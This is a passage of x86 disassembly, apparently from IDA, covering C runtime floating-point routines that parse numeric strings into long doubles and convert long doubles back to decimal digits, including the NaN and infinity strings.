; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D088
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D088
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D088
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D084, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D088
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D084, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	dword_43D084, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D084, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D084, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
